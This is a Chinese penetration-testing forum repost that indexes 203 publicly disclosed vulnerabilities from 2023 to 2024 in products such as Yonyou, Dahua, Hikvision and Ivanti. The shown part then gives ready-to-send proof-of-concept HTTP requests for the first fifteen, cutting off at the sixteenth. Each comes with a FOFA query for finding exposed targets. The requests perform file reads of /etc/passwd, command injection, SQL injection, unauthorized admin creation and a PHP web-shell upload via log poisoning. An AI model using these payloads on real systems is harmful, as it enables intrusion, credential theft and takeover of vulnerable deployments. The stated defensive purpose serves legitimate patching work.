中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
8 q8 k9 R# P& J. H0 z9 e; S& A, K" F
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
. [1 `9 p( f% p, w. R/ ^3 |, C
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
4 Z* U8 p3 a+ h
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
6 [. R/ X, y0 w% d) z* J
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

3 y) h) L0 l3 P: Q" F% |; W$ U有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



目录

1 r7 }5 D8 z9 S: p: J01
+ m1 t$ b3 L$ z% e( K
* m$ l  W; z9 t3 i: w2 b1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
) j( @2 K. S1 G. }+ f6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
2 ]$ s/ Y4 Z4 t/ p- K11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
# J4 N) V; ~8 [18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
/ }: p2 x% h, o19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, Z3 {0 {* L: j: r20. 大华ICC智能物联综合管理平台任意文件读取
6 o* t% N& D, p2 `! M5 w& q21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
6 P' ], e! H  H24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
6 O/ m$ \: e) V7 R  W$ m9 A3 u26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
5 n/ ~% |. |* l8 S8 Z9 G, H30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
" q4 ~- [& |' Y3 l9 j' v32. 用友NC complainbilldetail SQL注入
) C1 H# v6 l8 j1 I* r1 ^  C4 W33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
3 G& x) U5 p/ k, g! K& G% {8 V. i, l37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
1 O7 E- q8 T+ N: {0 Q# Q+ d- k: k: ~& Z43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
' V  s, n( U  N" M45. 用友GRP-U8 ufgovbank XXE
! }5 U' o8 m1 O6 [1 _6 b+ f) T% W- V46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 l- M( b8 }: x, q7 @9 o- Q1 V47. 用友GRP A++Cloud 政府财务云 任意文件读取
" K+ N' S0 J( S: I% C48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
5 ?+ u: f* V& N51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
+ l  M1 Y; V/ I. @; w5 f& F5 ]53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
; @4 z: ~; N$ S3 E6 q0 X3 W0 |0 P55. 畅捷通T+ getdecallusers信息泄露
% S, s1 x  h9 \2 ]; e9 w5 @  ^4 d56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
; E7 I0 c3 L6 X5 b9 y7 u58. 畅捷通T+ KeyInfoList.aspx sql注入
5 f/ @3 S. H  i  i! l59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 J( Y: h) R% e( W! i6 a  A4 Y7 t60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
# ?+ }) j# t; G# g7 N63. IP-guard WebServer任意文件读取
, C  l4 A1 Y9 L7 }( L9 ]0 |! B# @2 A64. 捷诚管理信息系统CWSFinanceCommon SQL注入
& o+ X% p: Z2 E9 x; u, r- ]65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 |1 z, |8 o) g3 m66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
! N! ^+ u3 b) Z) _& q( @* G67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
9 S0 p& `" ^4 H  N* P  i74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
6 G6 J" o7 A6 [; T% e, G* M76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
2 Y2 x1 w* D/ ^* Z81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
8 Z4 ?9 R& Q: b& x0 v1 T0 R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
; {& @! Y1 m. @: N. Y85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
" B4 z% T7 D$ s& `  b6 y) w88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
) r2 v7 Y5 |0 ?( q; x89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
2 R' G$ s! Y0 M% g# c91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
, d$ }: Q" j2 @+ `/ v! {8 r# y92. 海康威视运行管理中心session命令执行
& D) C: S6 W6 i0 k- X5 u" [4 M93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 A) S6 j* ^9 p3 E98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
" e) a8 d' |2 Z1 P100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
4 E+ t. ]6 J( P5 E" L* E3 c101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
2 V* J. ^8 X% u/ f8 d- O7 v103. Ivanti Pulse Connect Secure VPN XXE
0 C2 e/ N2 t! F2 ~104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
- p% C: g, x+ I% d2 g4 s106. SpringBlade dict-biz/list SQL 注入
9 L0 Q4 b/ c0 p% u" K107. SpringBlade tenant/list SQL 注入
% I+ f" e4 y' R$ G5 E9 e108. D-Tale 3.9.0 SSRF
, d# q+ m9 D  @+ i2 ]6 H109. Jenkins CLI 任意文件读取
' `5 Q5 ]6 ?, G4 {, F+ U110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
' N/ p' S5 @- @; Q8 Y- [+ O( Q. ?7 D115. WordPress Bricks Builder <= 1.9.6 RCE
( n" E5 z, [3 b2 w9 u4 |: V7 F116. wordpress js-support-ticket文件上传
) e+ @* L2 F8 U" y1 z0 {117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 e9 i! n0 `  D7 V- j$ S122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
: r9 Y& `7 c2 b126. Aiohttp 路径遍历
! `! y! z! D4 i; R& i6 x" X127. 广联达Linkworks DataExchange.ashx XXE
, k6 }! {3 E# y3 ]128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
% e: }' \+ Y- M, }3 a132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
/ }3 z- ^( z: T* G  M# j! F: b' m134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
. x3 r5 h+ f" ?: H! @2 E138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
9 w/ I: v+ ]. @  Y  [0 X; e& Y! r144. D-Link nas_sharing.cgi 命令注入
/ |( ?! D) V* R) n. ^: `) t145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
1 ~, {) Z6 F- ?4 V+ V1 G/ w# `146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
7 ^: b* p, d% o9 @' ]149. AJ-Report开源数据大屏存在远程命令执行
' G6 z- x8 e. t4 }1 N150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
4 p4 h& F4 m; T$ m' h153. gradio任意文件读取
9 a6 P) N' Q4 c  m: m9 O154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
& L9 N6 N  Q0 k1 J157. 美特CRM upload.jsp 任意文件上传
! \9 e. S& v+ z2 {, t- `, K2 {158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  I& t( t" p; |164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
4 N3 T' t; l/ ?' a& X$ z7 Y# L166. 中成科信票务管理平台SeatMapHandler SQL注入
' D  _: o5 a6 W6 o167. 精益价值管理系统 DownLoad.aspx任意文件读取
- p; m  @) k, _; h; L168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
/ G, L4 H0 U: y  }- @170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
  [# w1 Q* B+ I. e8 R2 f172. DT-高清车牌识别摄像机任意文件读取
% u" v. F* l- S; ?( N) l7 \173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
2 ^* e+ I3 \$ H4 C  f177. H3C路由器敏感信息泄露
% `% Z6 f5 {" n6 N178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 F5 s' h1 b$ e179. 建文工程管理系统存在任意文件读取
& M2 T/ j5 u% y180. 帮管客 CRM jiliyu SQL注入
/ E# S( }& }! Y( @4 `1 G$ v181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; h3 z, _, V/ ~  q2 R182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
( z9 \2 t, ]: w/ H, t4 |183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
3 N* I- J" f" Y- E! m" g184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
/ \  ~0 W2 |' x0 Z: S& u0 j, z185. 瑞友天翼应用虚拟化系统SQL注入
8 {, Y9 V6 Q4 F! H186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
& p- |. H+ G7 M/ h' D$ F188. 叁体-佳会视频会议 attachment 任意文件读取
5 T, r& c# f" T; {: ~. L+ W9 I189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  H. ~( R. ]# t+ Y5 R. s192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
6 y; Y) x, V) W+ A, n193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& W) f! n8 m; R' j4 h1 N195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
- e, |. ?; U0 @6 s4 B# G7 l198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
# x1 P8 X8 Z, f202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

) v% D2 Z. @- i4 U# n7 Z6 uPOC列表
  W) z' Q. i  F) f+ C; C' B
: O! Z+ t& O+ y4 S, ?02

. E) b: e) U+ p5 d% E1. StarRocks MPP数据库未授权访问
, N# e1 _! j  P+ [0 [; oFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
3 ?8 I; c" a, qHost: URL

. h1 t% s+ d5 R) m7 v4 Y' f
2. Casdoor系统static任意文件读取
$ h. ~! [7 x8 G% rFOFA ：title="Casdoor"
2 ~$ V; K) L/ ?/ d7 D8 K( m+ I; JGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
: n" N) Y, r1 L; iHost: xx.xx.xx.xx:9999
# |# x/ ?* k: aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
* f7 k) V$ g2 J/ P) {) c( C+ w) ~, iAccept-Encoding: gzip

' K- Y' U% a' t- }1 L2 Q
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
' {9 E3 L$ }' C$ C! y3 C. P" E6 O6 c

4. EasyCVR视频管理平台存在任意用户添加
3 x) B, Z: T9 H8 F0 x' I& `FOFA ：title="EasyCVR"

2 ?' Y, h) k/ T! u1 E+ l! ?0 Hpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
& f: a# ^0 F* U3 wHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
( w8 w) |3 u: a1 a+ v8 p
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
) R5 j$ \3 i4 B+ ]

5. NUUO NVR 视频存储管理设备远程命令执行
$ X. w+ b! J( l) f7 }FOFA：title="Network Video Recorder Login"
6 S) G; H, |) A- @& AGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
' F& F+ N( Q4 o! l4 o! OHost: xx.xx.xx.xx
( g) K; d' s* x7 q

/ [# F- }) i' O9 B8 Z" Q- x- K6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
' G8 W+ y5 E: j1 w$ K# c9 v5 MGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

: l- O) N$ w* q$ o
7. 鸿运主动安全监控云平台任意文件下载
5 {; [& }1 S# C: [FOFA：body="./open/webApi.html"
1 L0 i7 v1 q7 c8 C6 D1 ^GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
' ^: o0 r; a1 L  J1 f6 N" [Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
, f5 I" q, v* |. t8 A' ], _* G; xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
" d. ~6 I4 K+ n* p9 x8 Z3 [" {User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# ?; T) l6 @. k% ?4 S2 ]+ [
# a4 N/ Z9 m# s5 [% z5 z" f3 f------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
0 m5 [0 i% D5 w4 J
# z; G& Y  A: T8 s& I. H" u* b%s
------WebKitFormBoundaryxbgjoytz
0 X+ P7 m0 R! J( kContent-Disposition: form-data; name="wifiRebootrange"

" A6 q4 W2 G- g- Y, V  _3 y! t12:00; id;
" D& v6 p6 Z; E" S7 y4 I, r) b$ H------WebKitFormBoundaryxbgjoytz
! h9 Y2 {: P3 wContent-Disposition: form-data; name="wifiRebootendrange"
+ k' ^; S+ Z0 N0 X: F
%s:
+ e6 R& T4 f% c* B: b- a/ {------WebKitFormBoundaryxbgjoytz
7 m' e* k3 B- GContent-Disposition: form-data; name="cururl2"

# [( H# e9 V. Z8 A2 |) m; I1 ]4 m
; b* @( ^9 M1 s" V5 U------WebKitFormBoundaryxbgjoytz--
# P" J" c6 z* @' G$ p5 z

! ?$ k( _! y; m3 X2 K) I/ t( _9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
" N4 [) o% p' `GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
; _# w$ q: E( E2 _% B3 yHost: x.x.x.x

  f8 [0 j6 V! k
payload为下列语句的二次Url编码

, E; Q( e) T9 T4 ~6 `' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

! ?% g" B2 w: F10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
4 [& w' x3 _) ^7 AFOFA：icon_hash="953405444"

$ P  X4 O# A+ b7 q4 d; ~6 i文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
5 y( W: V9 X3 M" C6 ?7 a" \1 xContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! |1 l% d- ]% l4 Y6 e! `1 l3 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ R. V9 J# @. _2 f0 ^Connection: close
8 c# v4 X6 m  _/ d: lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
* K# o( ~$ G: g4 QContent-Type: text/html

* t  M) Y* j7 B* }- P2 L4 ejmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
  E  R2 V4 u/ a5 _0 Y" w# m+ h! S. p
: o% r2 q% i$ t% J2 G9 P
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
! Q6 U1 J- C' n$ M; s# RGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
. F/ {: Q) J" ]- i. x; F2 ?3 p- j+ R* HHost: 127.0.0.1
Pragma: no-cache
3 t4 a4 Z# K4 m" NCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* ^* U9 s( t. z3 K. rConnection: close
7 E& Q5 Q' q" \" k

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
7 F" T/ {6 A6 o7 l( A/ z1 cHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
8 \& G5 j: y# M2 a6 O* h6 nAccept-Encoding: gzip
7 g4 \- a: q# g( Z7 z8 E. t  j

响应中csrf_cookie_jorani用于后续请求
' v% X1 R( D2 r! r+ H, KHTTP/1.1 200 OK
Connection: close
5 a$ e0 b, X0 U) Z* ?Cache-Control: no-store, no-cache, must-revalidate
6 V5 t. f" n  E! cContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
9 a# r& n* F- f7 Y$ a7 v; [! dServer: Apache/2.4.54 (Debian)
7 e" a0 S% j  k9 M2 xSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
. u6 k5 I, D! o

2 O- D1 w0 t; d; FPOST请求，执行函数并进行base64编码
7 |1 n: f, x- r" h+ Q# C/ uPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
; h9 h5 ^" |5 e9 a0 S% R. GContent-Length: 252
% k7 x' r3 V6 E7 X8 T$ O7 b$ ZContent-Type: application/x-www-form-urlencoded
7 g. x$ w1 I& V8 [& QCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
! K2 J2 K) S" @# v% `8 A, mAccept-Encoding: gzip

9 K( j2 s, M: F# o( y6 B# Mcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

% Z% G1 g- ~; h
; o. F) J; \6 m2 M
4 L. K; I* s1 r# |7 u向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
- f1 b0 k7 {' e3 O; {! uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! n# o4 w; @. j3 p) dConnection: close
1 b$ Y: B+ ]/ ^1 y0 l1 P/ K# [7 _Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; d$ w1 z2 G0 Y2 m8 K$ l) iK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
: `$ p' K. }8 g: XX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

/ b5 b. p/ e3 w: t
1 b3 {7 ?7 J1 W8 h% C- S4 ~% V13. 红帆iOffice ioFileDown任意文件读取
/ ^4 i. n& K/ Q+ tFOFA：app="红帆-ioffice"
0 [4 f0 Z) O0 L( y/ T$ _1 Z5 PGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
6 x. ]( a6 F( d! A9 s' u7 C- kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 K2 Y/ r6 [! A3 _2 v5 d8 VConnection: close
Accept: */*
4 z2 F: Y( C! X2 z: _5 r6 \" y' R0 NAccept-Encoding: gzip
  R4 W) D* v: @! ?7 n

9 e6 L& k0 f  a* c+ S4 C14. 华夏ERP（jshERP）敏感信息泄露
; n: K: L* v( t+ k- BFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
( D8 w) {; t/ s. B% p6 @4 Z& e( [Host: x.x.x.x
  b; c* l6 t8 J8 t: |, O; cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
! ]7 J, R2 T% J4 F: \# q& NAccept-Encoding: gzip
, m$ B; u/ @% q/ _* m: G
3 Y, F( M' y8 }% l
' n* r; h& D7 U( h15. 华夏ERP getAllList信息泄露
CVE-2024-0490
2 U' h* B3 J+ d/ }1 `FOFA：body="jshERP-boot"
) i8 H  d2 {) C% D泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
2 W# ~# V( {- C1 JHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. F& U4 H! r8 Z3 i7 ?& iAccept-Language: en
sec-ch-ua-platform: Windows
. W0 }" h8 z1 P/ L0 n: `Accept-Encoding: gzip
  S+ \7 T$ H7 X" S) i/ V
4 ?+ e1 @; @8 ^% M/ y4 O
& f; @+ D1 g' ^/ y! Z8 w16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
